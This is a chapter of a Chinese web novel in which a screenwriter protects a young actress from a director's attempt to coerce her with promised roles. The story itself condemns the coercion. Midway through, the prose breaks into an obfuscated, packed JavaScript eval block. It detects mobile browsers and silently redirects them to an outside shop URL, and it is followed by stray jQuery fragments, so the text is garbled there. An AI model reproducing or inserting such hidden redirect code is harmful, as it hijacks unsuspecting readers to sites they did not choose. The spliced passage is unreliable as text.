温清水独自开车回家，夜风微凉，从半开的车窗细细渗进来，拂过她的脸颊。
到家已近十一点。
玄关的暖灯自动亮起，柠檬香薰的味道在空气中淡淡散开，舒缓着她紧绷了一天的神经。
她脱下外套，走进厨房，开始准备简单的晚餐。
手机忽然震动。
是一条外卖订单送达的消息，附了照片：一杯橙汁被妥帖地放在门外的脚手架上，按照她的备注，骑手没有敲门。
她回复了一句“谢谢”，顺手打赏了十元。
对方很快发来一个感谢的表情包，是只不停鞠躬的小熊。
掀开锅盖的瞬间，热气扑面而来。
锅中的米饭已被油脂浸成诱人的金黄色，底层结出一层酥脆的锅巴，鸡蛋处于半熟的状态，蛋黄将凝未凝，颤巍巍地嵌在中央。
她慢慢吃着，手机里正播放着未完的导演课程。
讲师在细致讲解镜头语言：“推镜头不仅是物理空间的推进，更是人物内心情绪的层层递进。”她按下暂停，在摊开的笔记本上认真记下这句话。
一顿饭吃完，笔记本上又多了几行密密的字迹。
写完，她端起那杯橙汁喝了一口。
冰已经化尽，温度恰到好处，酸甜的滋味在口中漫开。
手机震动了两下，是蔡妍发的消息。
蔡妍：这个新剧组的女演员真的很喜欢耍大牌，好累。
蔡妍：在这个组我真是倒大霉了。
温清梧回了几句安慰的话，才关上手机。
窗外夜色深沉如墨，她却没有睡意，重新点开课程视频，一讲接一讲地听下去。
凌晨一点多，她才终于合上电脑，揉了揉发涩的眼睛。
起身走到窗前，远处的天边已泛起一层极淡的灰白。
晨光正在醒来。
她静静看了一会儿，才上床睡觉。
第六天的拍摄，在一种微妙而紧绷的气氛中开始。
徐铭来得格外早，沉默地坐在监视器后，脸上没什么表情。
上午是阮月白和林曦的阁楼戏，场景搭得极为精细，从窗口斜射进来的光柱里，可以看见细微的尘埃在无声飞舞。
“第三场一镜，准备——”场记打板声清脆。
“Action.”
阮月白推开门，看见林曦坐在地上安静地看书。
阳光恰好落在他清瘦的侧脸，勾勒出一圈柔软的光晕。
他闻声抬头，眼里闪过一丝猝不及防的慌乱，又迅速强装出镇定。
“对不起，我不知道这里不能来。”
阮月白没说话，只是慢慢走进来，从他身旁的书架上随意抽出一本书。
“《月亮与六便士》。”她念出书名，声音平静，“你喜欢毛姆？”
“因为他笔下的人，”林曦垂下眼，手指无意识地摩挲着书页，“都有勇气抛弃一切，去追自己的月亮。
”
阮月白看了他很久，忽然轻轻笑了。
那不是她平日里完美无瑕的程式化笑容，只是被触动后，从眼底漾开的一丝笑意。
“那你呢？”她问，声音很轻，“要月亮，还是要六便士？”
林曦没有立刻回答。
他只是抬起头，望向她，眼神很深，像藏着许多未曾说出口的话。
“卡！”
徐铭点点头，算是过了这场戏。
休息间隙，乔舒然凑到温清水耳边，压低声音好奇地问，“温编，你送过去的那拿破仑蛋糕到底有什么魔力啊？我感觉徐导每次看到，火气就能消下去一半。”
温清水笑了笑，没有解释。
不是甜品有魔力，而是人都有软肋。
徐铭的软肋，或许就是被“看见”。
看见他严苛挑剔背后，那份对作品近乎偏执的追求。
她每次递过去的，不只是一杯合口味的咖啡或一块甜点，更像是一句无声的“我明白你想要什么”。
但这种“懂得”，需要付出代价。
它要求她时刻保持观察，时刻在坚持原则与维持合作之间谨慎地走钢丝。
累吗？当然。
但她暂时没有更好的办法。
下午的拍摄异常顺利。
刚过四点半，当天的戏份竟已全部完成。
徐铭起身，扫视了一圈片场，宣布：“今天大家辛苦了，早点收工休息。”
棚里立刻响起收拾器材的嘈杂声音，动作迅速。
温清水却不着急。
她坐在监视器旁的小椅子上，低头整理着今天的拍摄日志。
乔舒然在旁边收拾着自己的剧本和杂物，“温编，我先在餐厅预订啦。”
“你先去，”温清水抬头看了她一眼，“我稍后就到。”
“好嘞！”乔舒然爽快地背起背包，“那我先点烤牛小肠和口蘑！”
她哼着歌快步走了。
摄影棚里的灯一盏接一盏熄灭，最后只剩下温清水头顶那一盏还亮着。
她合上笔记本，刚要起身，余光却瞥见摄影棚入口处，静静站着一个人影。
是唐棠。
她还穿着戏里的校服裙，背靠着墙，站在那片未被灯光照亮的昏暗里，一动不动。
温清水耐心地等了几分钟。
唐棠还是站在那里。
温她起身，拿着自己的东西，朝棚口走去。
“怎么还没下班？”她在距离唐棠两步远的地方停下，“落下什么东西了吗？”
唐棠张了张嘴，却没发出任何声音。
温清水看着她，轻声补充了一句，“如果遇到什么自己难解决的事，可以告诉我。”
就在这时，乔舒然清脆的声音从棚外由远及近传来。
“温编！你好了没呀？我打到车了，司机说这边不好停太久——”
她小跑着进来，看到唐棠的瞬间愣了一下，接着笑着打招呼：“唐棠也在啊，正好，我们要去城北那家超火的店吃烤牛肠，一起吗？”
唐棠没有回答，只是将目光移向温清水。
温清水对她笑了笑，转向乔舒然，“你就知道惦记着给自己放假。”
“就今天嘛，”乔舒然眨眨眼，挽住温清水的胳膊，“都累了一周了，稿子也顺了，戏也拍得顺，不该庆祝一下？”
“好，”温清水拿她没办法似的笑了笑，“那就去吧。”
“温编，”唐棠终于再次开口，声音低得像耳语。
温清水回过头，目光平静地落在她脸上。
“导演说，”唐棠的声音更低了，带着细微的颤音，“他今晚想单独教我演戏。”
温清水皱了下眉。
乔舒然凑到她耳边，用气音快速说道：“我之前就听别的组助理闲聊时提起过，徐导在作风方面，好像有些不太好的传闻。”
温清水没有立刻说话。
她向前走了两步，更靠近唐棠，将声音放得轻缓，确保只有她们两人能听清。
“是约在今晚吗？地点还是在剧组影棚？”
唐棠摇了摇头，幅度很小，但很坚决。
“他让我在这里等着，晚上，他会来接我。”她吸了吸鼻子，声音哽咽，“他说如果我听话，以后的短剧项目，都可以让我演女二号。”
她又飞快地补充了一句，眼泪滚落，砸在水泥地面上。
“我……我不知道该怎么办……”
摄影棚里安静得可怕，只剩下远处其他棚收工的零星声响。
“小乔，”温清水，“你先去餐厅，点好菜。”
乔舒然立刻点头，没有任何犹豫，“好，我给你留位置。”
她拍了拍温清水的肩膀，递给她一个“小心”的眼神，然后转身离开，脚步声很快消失在棚外。
等乔舒然的脚步声彻底远去，温清水才重新转向唐棠。
“你现在，”她清晰而缓慢地说，“还站在这里，别动。就像你真的在等他一样。”
她转身，快步走向摄影棚的深处。
那里堆放着一排废弃的旧背景板，她闪身站到厚重的板子后面，从口袋里拿出手机，迅速调至静音模式。
等待开始。
时间变得很慢。
唐棠还站在原处，手指紧绞包带，她偶尔挪动一下脚，有时抬头看棚顶。
时间过去，天色已完全黑透。
引擎声由远及近。
SUV的车灯光束锐利地扫进昏暗的棚口，光芒刺眼。
车子在棚外刹停，驾驶座的门开了，下来的人却是剧组的摄影师大刘。
他朝棚内张望了一下，看到孤零零站在那里的唐棠，抬手招了招，示意她过去。
唐棠没有动。
大刘皱了皱眉，大步流星地走了进来。
他径直走到唐棠面前，伸手就要去拉她的胳膊，语气带着熟稔。
“唐棠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165538|196696||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，等久了吧？走，徐导那边等着呢。”
他的手还没碰到唐棠的衣袖，视线里多出了一个人影。
温清水走到唐棠身边，对大刘笑了笑，“刘哥，这是干什么呢，收工了还不让人休息？”
大刘的手僵在半空，脸色变了变。
但他很快堆起笑容，“哟，温编还没走啊？这不，唐棠下午找徐导请教，说想精进一下演技。徐导今晚正好有空，特意让我来接她过去，给讲讲戏。”
他说着，又朝唐棠使了个眼色，语气加重，“是吧，唐棠？”
唐棠低着头，咬住下唇，没有说话，身体却朝温清水身边靠了靠。
温清水点了点头，语气依旧平和，“原来是这样。那正好，我也还没吃晚饭。要不一起？”
大刘脸上的笑容有点挂不住了，“温编，不用麻烦了。徐导已经订好餐厅了，就两个人，安静，好说话。”
他目光在唐棠和温清水之间扫了个来回，“温编，这是徐导和唐棠之间的事，您就别太操心了。”
“既然是剧组里的事，”温清水轻笑，“那我作为这个项目的编剧，似乎也有权过问一下。”
她的目光迎上大刘闪烁的眼神。
“你们私下有什么交情、什么活动，我管不着。但是，”她抬了抬拿手机的手，“再有这种‘意味不明’的活动，我认识几个跑娱乐口的记者朋友。他们应该会对这种‘导演深夜单独指导女演员’的业内佳话感兴趣。”
大刘的脸色彻底变了，张了张嘴，一时竟没能说出话来。
就在这时，停在棚外的SUV副驾驶车窗，缓缓降了下来。
徐铭就坐在里面，侧着脸。
他目光越过车窗，直直地落在温清水脸上。
“温编，”他开口，声音透过夜色传来，“进这个圈子也有五年了吧？怎么做事，还跟刚出道那些不懂事的小丫头似的。”
温清水没有移开视线，坦然迎上他的目光。
“徐导的个性独特，我一直很欣赏。但这个项目现在是由我负责。我不希望组里发生任何，建立在‘不情愿’基础上的事情。”
“你情我愿的事情，”徐铭慢条斯理地说，“温编何必上纲上线。这个圈子里谁不知道，年轻人想往上走，总得有人愿意‘带一带’，给指条路。”
温清水没有接他这句意有所指的话。
她微微侧过头，看了一眼靠在自己身侧的唐棠。
小姑娘咬着嘴唇，眼泪又涌上来。
她极轻微地摇头，把身体往温清水身后缩了缩。
徐铭脸上的那点虚假笑意，终于彻底消失了。
他盯着温清水，足足看了好几秒，自上而下的扫视。
突然，他嗤笑一声，笑声短促而充满讥讽：
“怪不得从长剧‘降级’来拍短剧。原来是不懂规矩。”
温清水脸上的表情冷了一点。
徐铭升上了车窗。
SUV猛地倒车，轮胎摩擦地面发出尖响，急转驶离，尾灯红光消失在拐角。
大刘瞪了唐棠一眼，转身追车去了。
车声迅速远去，最终彻底消失。
偌大的摄影棚区，重新陷入一片沉重的寂静。
唐棠还僵在原地，手指冰凉。
她扯了下温清水的衣角，声音发抖，“温编，我是不是给你惹麻烦了？徐导会不会以后都不让我拍戏了？”
她以为温清水至少会告诫她“以后安生点”。
但温清水没有。
她抬手，很轻地拍了拍唐棠的肩膀。
“要不要一起去吃烤牛肠？”她语气自然，“小乔应该已经点好菜了。”
唐棠怔住了。
她看着温清水温和而坚定的眼睛，忽然鼻子一酸，眼泪大颗滚下来。
温清水没有阻止，只是安静地站着，等她哭。
等她哭声渐歇，才递过纸巾。
“温编，”她哽咽着，“我真的可以一起去吗？”
“当然，”温清水声音很稳，“吃饱了才有力气拍戏。”
她拿出手机发消息：“加一副碗筷，唐棠也来。”
她收起手机，对唐棠笑了笑，“走吧。叫的车已经到了。”
她转身朝棚外走去。
唐棠站在原地，看着她的背影，单薄的，却可靠的背影。
她深吸一口气，跟了上去。
脚步声在空旷棚里回响，渐渐重合。